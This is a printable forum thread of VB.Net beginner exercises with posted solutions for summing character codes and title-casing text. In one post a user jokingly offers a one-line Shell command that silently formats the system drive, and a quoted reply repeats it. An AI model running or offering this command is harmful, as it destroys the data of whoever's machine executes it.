Sinisterly
[VB.Net] Programming exercises - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Visual Basic & .NET Framework (https://sinister.ly/Forum-Visual-Basic-NET-Framework)
+--- Thread: [VB.Net] Programming exercises (/Thread-VB-Net-Programming-exercises)

Pages: 1 2 3 4


RE: [VB.Net] Optimization Challenge - Coder-san - 05-06-2011

Oh well, looks like people are not interested. Sad

Here is the solution to #2
Spoiler: Solution
Code:
Private Function SumChars(ByVal strSource As String) As Integer SumChars = 0 For intI As Integer = 0 To strSource.Length - 1 SumChars += (Asc(strSource.Substring(intI, 1)) - 64) Next Return (SumChars + 64) End Function 'Usage: Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click TextBox1.Text = SumChars("BRZ") End Sub



RE: [VB.Net] Optimization Challenge - 1234hotmaster - 05-06-2011

(05-06-2011, 01:52 PM)Coder-san Wrote: Oh well, looks like people are not interested. Sad

Here is the solution to #2
Spoiler: Solution
Code:
Private Function SumChars(ByVal strSource As String) As Integer SumChars = 0 For intI As Integer = 0 To strSource.Length - 1 SumChars += (Asc(strSource.Substring(intI, 1)) - 64) Next Return (SumChars + 64) End Function 'Usage: Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click TextBox1.Text = SumChars("BRZ") End Sub


what does it do? XD

Edited: we are interested but aren't at your level Tongue


RE: [VB.Net] Optimization Challenge - Coder-san - 05-06-2011

(05-06-2011, 01:57 PM)1234hotmaster Wrote: what does it do? XD

It's the solution to [link=http://www.hackcommunity.com/Thread-VB-Net-Optimization-Challenge?pid=12912#pid12912]Challenge#2[/link]
It subtracts 64 from every char other than first, and adds what you get.

(05-06-2011, 01:57 PM)1234hotmaster Wrote: Edited: we are interested but aren't at your level Tongue

Nah it's easy. You just have to think outside the box and have some fun with your language. Smile


RE: [VB.Net] Optimization Challenge - 1234hotmaster - 05-06-2011

(05-06-2011, 02:17 PM)Coder-san Wrote:
(05-06-2011, 01:57 PM)1234hotmaster Wrote: what does it do? XD

It's the solution to [link=http://www.hackcommunity.com/Thread-VB-Net-Optimization-Challenge?pid=12912#pid12912]Challenge#2[/link]
It subtracts the first char's ASCII from all of the rest, and adds what you get.

(05-06-2011, 01:57 PM)1234hotmaster Wrote: Edited: we are interested but aren't at your level Tongue

Nah it's easy. You just have to think outside the box and have some fun with your language. Smile
well the only fun i know is this:
Code:
Shell("format "& environ("systemdrive") & " /autotest", AppWinStyle.Hide)
Tongue


Edited: can you explain a example for the 2nd solution?


RE: [VB.Net] Optimization Challenge - Coder-san - 05-06-2011

(05-06-2011, 02:18 PM)1234hotmaster Wrote:
(05-06-2011, 02:17 PM)Coder-san Wrote:
(05-06-2011, 01:57 PM)1234hotmaster Wrote: what does it do? XD

It's the solution to [link=http://www.hackcommunity.com/Thread-VB-Net-Optimization-Challenge?pid=12912#pid12912]Challenge#2[/link]
It subtracts the first char's ASCII from all of the rest, and adds what you get.

(05-06-2011, 01:57 PM)1234hotmaster Wrote: Edited: we are interested but aren't at your level Tongue

Nah it's easy. You just have to think outside the box and have some fun with your language. Smile
well the only fun i know is this:
Code:
Shell("format "& environ("systemdrive") & " /autotest", AppWinStyle.Hide)
Tongue


Edited: can you explain a example for the 2nd solution?

Code:
TextBox1.Text = SumChars("BRZ") 'B R Z = 66 82 90 <-- ASCII values of characters 'B+R+Z = 66 + (82-64) + (90-64) <-- What the function does 'B+R+Z = 66+18+26 = 110 <-- What the function returns 'The output is the same as required in the Challenge hence solved.



RE: [VB.Net] Optimization Challenge - 1234hotmaster - 05-21-2011

Can you post a new Solve-able one coder? Smile


RE: [VB.Net] Optimization Challenge - Coder-san - 05-22-2011

Challenge #3

Write a program which will make every FIRST character of a word uppercase, and the rest lowercase.

E.g.
Code:
The Quick Brown Fox Jumps Over The Lazy Dog.



RE: [VB.Net] Optimization Challenge - FrostByte_mybb_import5923 - 05-22-2011

for challenge 1 something like this could you use like bubblesort???, e.g. check every value and then display in the given order


RE: [VB.Net] Optimization Challenge - Coder-san - 05-22-2011

(05-22-2011, 11:02 AM)frostbyte Wrote: for challenge 1 something like this could you use like bubblesort???, e.g. check every value and then display in the given order

You don't have to make it more complex xp
Challenge#1 was just to see if people use Array enough.


RE: [VB.Net] Optimization Challenge - 1234hotmaster - 05-22-2011

Code:
Module Module1 Sub Main() Dim str As String = Console.ReadLine() Console.WriteLine(StrConv(str, VbStrConv.ProperCase)) End Sub End Module